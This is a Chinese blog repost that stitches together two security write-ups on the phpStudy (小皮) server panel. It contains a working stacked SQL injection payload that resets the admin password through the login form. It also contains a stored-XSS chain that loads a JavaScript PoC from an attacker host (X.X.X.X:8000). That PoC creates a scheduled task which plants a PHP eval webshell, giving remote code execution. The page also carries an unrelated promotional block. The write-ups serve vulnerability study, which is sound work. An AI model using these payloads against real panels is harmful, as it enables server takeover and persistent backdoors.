小皮1-click漏洞的代码审计学习笔记

Posted 蚁景科技

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了小皮1-click漏洞的代码审计学习笔记相关的知识,希望对你有一定的参考价值。

漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。

漏洞简介

漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。

环境搭建

windows 上实际操作了一下,不方便进行分析

于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码

wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh

修改代码 web/service/app/account.php​ 中登录的部分

if($type==\'login\')
    $username = post(\'username\');
    $pwd = post(\'password\');
    $verifycode = post(\'verifycode\');
    $res = Account::login($username,$pwd,$verifycode);
    xpexit(json_encode($res));

  ​

打开代码 /usr/local/phpstudy/web/service/app/account.php​ 修改代码

  ​

漏洞复现

windows

在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果

import hashlib
​
str = "123456"
for i in range(0,5):
    str = hashlib.md5(str.encode()).hexdigest()
print(str)

  ‍

admin\';UPDATE ADMINS set PASSWORD = \'c26be8aaf53b15054896983b43eb6a65\' where username = \'admin\';--

  ​

虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS) ‍

Linux

在用户登录处构造 payload

admin\';UPDATE ADMINS set PASSWORD = \'c26be8aaf53b15054896983b43eb6a65\' where username = \'admin\';--

  ​

错误类型并不相同,但也成功的将密码修改

漏洞分析

查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090

9080 对应的是 web 端的信息 8090 对应的是二进制程序

  ​

外部访问不到 8090 端口 只能再内部构造数据进行通信

  ​

项目的代码在 /usr/local/phpstudy/web

web/service/app/account.php

  ​

web/service/app/model/Account.php

  ​

通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理

  ​

我们可以根据代码逻辑伪造 socket 请求

"command":"login","data":"username":"admin","pwd":"123456"^^^

  ​

利用 strace 可以监控进程 strace -s4096 -tt -f -ewrite -p 49433​ 监控 phpstudy 的进程,发送错误的payload

"command":"login","data":"username":"admin\'","pwd":"123456"^^^

  ​

获取到登录时对应的 SQL 语句

SELECT ID FROM ADMINS WHERE ALIAS = \'admin\'\' AND PASSWORD = \'c26be8aaf53b15054896983b43eb6a65\' AND STATUS = 0

根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。

这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名

admin\';UPDATE ADMINS set PASSWORD = \'c26be8aaf53b15054896983b43eb6a65\' where username = \'admin\';--

拼接到 SQL 语句中就为

SELECT ID FROM ADMINS WHERE ALIAS = \'admin\';UPDATE ADMINS set PASSWORD = \'c26be8aaf53b15054896983b43eb6a65\' where username = \'admin\';--\' AND PASSWORD = \'c26be8aaf53b15054896983b43eb6a65\' AND STATUS = 0

最终执行的 SQL 语句为

SELECT ID FROM ADMINS WHERE ALIAS = \'admin\';UPDATE ADMINS set PASSWORD = \'c26be8aaf53b15054896983b43eb6a65\' where username = \'admin\';

将用户 admin 的 密码修改为了 123456

再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。

第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误

  ​

输入构造的 payload

      

再次利用 admin/123456 登录成功,用户的密码已经被修改

  ​

  ​

更多靶场实验练习、网安学习资料,请点击这里>>

 

漏洞复现phpStudy 小皮 Windows面板 RCE漏洞

文章目录


前言

本篇文章仅用于漏洞复现研究和学习,切勿从事非法攻击行为,切记!


一、漏洞描述

Phpstudy小皮面板存在RCE漏洞,通过分析和复现方式发现其实本质上是一个存储型XSS漏洞导致的RCE。通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务实现RCE。

二、漏洞复现

首先去官网下载最新版的小皮Windows面板安装包程序

下载地址:https://www.xp.cn/windows-panel.html

本地环境安装

安装完成之后会弹出一个txt文档,里面包含访问地址,如下所示

访问系统面板,出现如下登录界面

首先在用户名登录的地方输入XSS代码验证是否存在漏洞

接着使用正确的账号密码进行登录,加载完成之后,出现弹窗。

如上图可以看到确实触发XSS弹窗,这是因为整个系统在加载的过程中会读取操作日志的内容,刚刚在用户名处插入的语句就是为了让系统操作日志进行记录以便登录成功之后加载js代码脚本,所以执行显示了登录系统失败。

在当前这个系统界面上有一个计划任务的功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。

操作步骤如下:
在本地使用python开启一个http服务,并且将poc脚本放在服务目录下进行利用。


POC

function poc()
  $.get('/service/app/tasks.php?type=task_list',,function(data)
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',
      tid:id
    ,function(res2)
        $.post('/service/app/log.php?type=clearlog',
            
        ,function(res3),"json");
        
      
    ,"json");
  ,"json");

function save()
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute = "20";
  data.shell='echo "<?php @eval($_POST[123]);?>" >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res)
    poc();
  ,'json');

save();

PS:这里需要清空日志,避免重复触发。

紧接着在登录处用户名框中插入如下代码

<script src=http://X.X.X.X:8000/poc.js></script>


操作完成后,只要管理员登录到系统,插入的XSS代码就可以写入计划任务并执行,通过计划任务就可以在服务器上写入文件。

当管理员登录成功后,就会在对应路径下产生一个 1.php文件(文件内容自行定义)


因为小皮windows面板这个应用系统类似于宝塔,所以其中会部署网站

当文件写入完成后,即可通过WebShell管理工具进行连接。

以上是关于小皮1-click漏洞的代码审计学习笔记的主要内容,如果未能解决你的问题,请参考以下文章

代码审计系列:审计思路学习笔记

漏洞复现phpStudy 小皮 Windows面板 RCE漏洞

(2020上半年第42天(代码审计-其他漏洞))小迪网络安全笔记

(2020上半年第42天(代码审计-其他漏洞))小迪网络安全笔记

(2020上半年第43天第44天(代码审计-其他漏洞权限提升-Webshell))小迪网络安全笔记

(2020上半年第43天第44天(代码审计-其他漏洞权限提升-Webshell))小迪网络安全笔记